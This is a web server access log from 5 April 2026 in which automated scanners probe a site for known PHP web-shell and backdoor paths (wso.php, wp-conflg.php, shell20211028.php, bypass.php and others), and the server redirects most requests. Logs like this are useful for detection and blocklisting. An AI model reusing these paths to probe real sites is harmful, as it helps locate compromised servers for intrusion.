[05/Apr/2026:10:05:14 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:14 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 23.27.110.52 - - [05/Apr/2026:10:05:16 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 23.27.110.52 - - [05/Apr/2026:10:05:16 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:18 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:18 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:05:18 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:19 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:23 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:23 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 23.27.110.52 - - [05/Apr/2026:10:05:26 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:05:26 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 23.27.110.52 - - [05/Apr/2026:10:05:26 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.89.60.157 - - [05/Apr/2026:11:15:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0" 23.27.110.52 - - [05/Apr/2026:10:05:02 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:02 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:03 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 23.27.110.52 - - [05/Apr/2026:10:05:24 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:24 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:05:30 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:05:30 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:30 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:31 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 23.27.110.52 - - [05/Apr/2026:10:05:01 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:02 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 23.27.110.52 - - [05/Apr/2026:10:05:02 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 23.27.110.52 - - [05/Apr/2026:10:05:16 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 23.27.110.52 - - [05/Apr/2026:10:05:16 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:16 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:20 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:20 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:22 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:32 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:34 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:35 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:36 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 23.27.110.52 - - [05/Apr/2026:10:05:40 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 49.51.183.220 - - [05/Apr/2026:11:10:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 23.27.110.52 - - [05/Apr/2026:10:04:47 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:47 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 23.27.110.52 - - [05/Apr/2026:10:04:52 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 23.27.110.52 - - [05/Apr/2026:10:04:52 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:06 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 23.27.110.52 - - [05/Apr/2026:10:05:06 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:07 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 23.27.110.52 - - [05/Apr/2026:10:05:07 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:21 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:24 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:29 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:31 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:05:31 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 170.205.31.198 - - [05/Apr/2026:11:26:21 +0300] "GET /about.php?520 HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.60.130.210 - - [05/Apr/2026:12:22:19 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_6_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 23.27.110.52 - - [05/Apr/2026:10:05:25 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:32 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 23.27.110.52 - - [05/Apr/2026:10:05:32 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 23.27.110.52 - - [05/Apr/2026:10:05:39 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:39 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 170.106.147.63 - - [05/Apr/2026:10:17:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 23.27.110.52 - - [05/Apr/2026:10:05:27 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:27 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 23.27.110.52 - - [05/Apr/2026:10:05:28 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:05:28 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 23.27.110.52 - - [05/Apr/2026:10:05:28 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:29 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:29 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:29 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:30 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:33 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 23.27.110.52 - - [05/Apr/2026:10:05:33 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:34 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:37 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:38 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:38 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:38 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 23.27.110.52 - - [05/Apr/2026:10:05:38 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 170.205.31.198 - - [05/Apr/2026:11:24:59 +0300] "GET /admin.php?520 HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.151.229.110 - - [05/Apr/2026:11:51:20 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 23.27.110.52 - - [05/Apr/2026:10:05:41 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 51.107.75.125 - - [05/Apr/2026:13:07:24 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 144.172.104.154 - - [05/Apr/2026:14:39:24 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 18.207.176.132 - - [05/Apr/2026:12:55:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Barcada/1.0)" 87.121.84.62 - - [05/Apr/2026:15:25:18 +0300] "GET /assets/admin/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 14.18.16.150 - - [05/Apr/2026:16:00:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 18.207.176.132 - - [05/Apr/2026:12:55:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Barcada/1.0)" 43.130.72.40 - - [05/Apr/2026:15:19:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.132.207 - - [05/Apr/2026:16:04:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.172.104.154 - - [05/Apr/2026:13:46:44 +0300] "GET /wp-content/plugins/unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 51.107.75.125 - - [05/Apr/2026:18:03:05 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 185.209.196.151 - - [05/Apr/2026:17:01:08 +0300] "GET /wp-content/plugins/woocommerce/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10" 20.151.229.110 - - [05/Apr/2026:17:27:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 146.70.123.188 - - [05/Apr/2026:18:49:33 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:33 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:33 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:34 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - 